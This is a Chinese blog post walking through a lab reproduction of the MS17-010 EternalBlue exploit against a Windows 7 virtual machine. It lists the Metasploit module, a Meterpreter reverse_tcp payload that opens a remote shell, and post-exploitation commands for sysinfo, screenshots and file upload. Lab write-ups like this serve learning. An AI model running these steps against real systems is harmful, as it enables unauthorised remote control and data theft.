Windows 7 ms17-010永恒之蓝漏洞复现

2024-07-01 14:18:13

Windows 7 ms17-010永恒之蓝漏洞复现

复现ms17-010漏洞环境：

VMware Workstation ；
攻击机：Kali-Linux ；
靶机：Windows 7 ；

使用步骤

1.进入框架：msfconsole
2.使用search命令查找相关漏洞： search ms17-010
3.使用use进入模块:
use exploit/windows/smb/ms17_010_eternalblue
4.设置本机地址：set lhost 192.168.238.130(输入自己本机的IP地址即kali虚拟机地址)
5. 设置靶机地址：set rhost 192.168.238.128(输入靶机的IP地址即Windows 7虚拟机地址)
注意靶机地址和攻击机地址需要在一个网段内
6.设置攻击载荷：
set payload windows/x64/meterpreter/reverse_tcp
7.攻击：exploit / run
8.后渗透阶段

接下来进行操作

首先打开虚拟机kali和Windows 7查询虚拟机地址

在kali中打开Terminal Emulator查询地址：

ifconfig

在Windows 7中打开cmd查询地址：

ipconfig

在攻击机中攻击靶机

1.主机发现
namp进行ip端口扫描
扫描到445端口，而ms17-010永恒之蓝漏洞就是利用445端口的smb服务，操作系统溢出漏洞

2.进入MSF框架

msfconsole
search ms17-010

找到攻击ms17-010漏洞的工具

攻击靶机

use use exploit/windows/smb/ms17_010_eternalblue
/
use 0

设置参数
出现下图情况说明成功

对Windows 7 进行操作

漏洞利用一：显示靶机计算机参数

sysinfo

漏洞利用二：通过meterpreter获取屏幕快照：

screenshot

漏洞利用三：上传文件到Windows 7主机

meterpreter > upload /home/kali/VIYUFgWZ.jpg c:123.jpg

上传成功！

总结

ms17-010 永恒之蓝漏洞复现操作比较简单，本人也是网络安全萌新，写此博客也是为了记录一下复现该漏洞并加深印象，如有错误欢迎各位网安大佬指正，谢谢！

Windows 7 ms17-010永恒之蓝漏洞复现相关推荐

linux 会不会受到永恒之蓝漏洞,永恒之蓝漏洞复现(ms17-010)
永恒之蓝漏洞复现(ms17-010) 漏洞描述: Eternalblue通过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机 ...
MS17-010(永恒之蓝)漏洞复现和分析
MS17-010(永恒之蓝)漏洞复现和分析一.漏洞简介 1.永恒之蓝介绍: 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含&q ...
043 扫描技术，OpenVAS，AWVS，永恒之蓝漏洞复现
文章目录扫描技术扫描神器资产发现主机发现: 端口扫描: 网络漏洞扫描 OpenVAS的使用 AWVS的安装与使用永恒之蓝漏洞复现扫描技术扫描自动化提高效率扫描神器 nmap,跨平台使 ...
MS17_010永恒之蓝漏洞复现
MS17_010永恒之蓝漏洞复现文章目录漏洞原理实验环境信息收集文章目录漏洞原理永恒之蓝漏洞是方程式组织在其漏洞利用框架中一个针对SMB服务进行攻击的漏洞,该漏洞导致攻击者在目标系统上可 ...
metasploit中msfconsole使用教程，永恒之蓝漏洞复现
文章目录前言 msfconsole常用参数打开和关闭 search 查找模块 use 使用指定模块 info 查看模块的详细信息 show 查看,set设置 run 和 exploit mf17- ...
【MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6】
MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-0144/5/6 文章目录 MS17-010 Eternalblue | 永恒之蓝漏洞复现 |CVE-2017-01 ...
永恒之蓝漏洞复现测试
永恒之蓝MS17-010漏洞复现及利用一.什么是永恒之蓝? 永恒之蓝漏洞是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机. SMB(全称是Server Me ...
永恒之蓝漏洞复现-CVE-2017-0144
1.原理永恒之蓝是在Windows的SMB服务处理SMB v1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码.通过永恒之蓝漏洞会扫描开放445文件共享端口的Windows机器,无需 ...
永恒之蓝漏洞复现(ms17-010)
文章目录一.永恒之蓝(Eternal Blue) 二.复现环境三.复现过程 1.主机发现 2.进入MSF框架 3.使用ms17-010扫描模块,对靶机进行扫描 3.1使用模块 3.2查看模块需要配 ...

最新文章

热门文章